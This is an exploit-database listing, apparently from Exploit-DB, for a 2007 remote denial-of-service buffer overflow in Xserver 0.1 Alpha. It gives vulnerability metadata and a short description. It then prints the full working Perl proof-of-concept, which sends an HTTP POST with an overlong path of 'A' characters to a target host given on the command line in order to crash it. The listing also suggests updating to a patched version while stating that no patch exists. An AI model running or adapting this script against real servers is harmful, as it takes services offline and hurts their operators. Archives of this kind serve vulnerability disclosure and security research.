Xserver Remote DoS Buffer Overflow

vendor:

Xserver

by:

deusconstruct

7.5

CVSS

HIGH

Remote DoS Buffer Overflow

CWE

Product Name: Xserver

Affected Version From: 0.1 Alpha

Affected Version To: 0.1 Alpha

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2007

Xserver Remote DoS Buffer Overflow

This is a proof-of-concept (P0C) exploit for a remote denial of service (DoS) buffer overflow vulnerability in Xserver 0.1 Alpha. The vulnerability allows an attacker to send a specially crafted buffer to the target, causing the server to crash or become unresponsive.

Mitigation:

Update to a patched version of Xserver or apply necessary security patches.

Source

Exploit-DB raw data:

#!/usr/bin/perl
#
#      _                                    _                   _  
#   __| | ___ _   _ ___  ___ ___  _ __  ___| |_ _ __ _   _  ___| |_
#  / _` |/ _ \ | | / __|/ __/ _ \| '_ \/ __| __| '__| | | |/ __| __|
# | (_| |  __/ |_| \__ \ (_| (_) | | | \__ \ |_| |  | |_| | (__| |_ 
#  \__,_|\___|\__,_|___/\___\___/|_| |_|___/\__|_|   \__,_|\___|\__|
#                      d.e.u.s..c.o.n.s.t.r.u.c.t
#
# Type       -> Proof-of-Concept (P0C) Remote DoS Buffer Overflow
# App        -> Xserver 0.1 Alpha
# URL  	     -> http://sourceforge.net/projects/xserver/
# Found By   -> deusconstruct
#
# Stack trace:
# Frame     Function  Args
# 18FDC978  610DE824  (41414141, 004020E4, 0040202E, 00000000)
# 18FDCD58  004015D4  (41414141, 41414141, 41414141, 41414141)
#
# Usage: perl xserver-dos-poc.pl www.target.com

use LWP::UserAgent;

$uniq = LWP::UserAgent->new;
$url = shift or die("Please insert a target domain or IP!");
$buffer = 150; # Teh evil 0verflow ammount

print "\n============================\n";
print "Xserver 0.1 Alpha Remote DoS\n";
print "DiSc0vEreD by deusconstruct\n";
print "============================\n";
print "\n";
print "[+] Sending evil buffer to $url ...\n";
$req = HTTP::Request->new(POST => "http://$url/" . A x $buffer);
$res = $uniq->request($req);
print "[+] Evil buffer sent! Enj0y!\n";

# milw0rm.com [2007-07-23]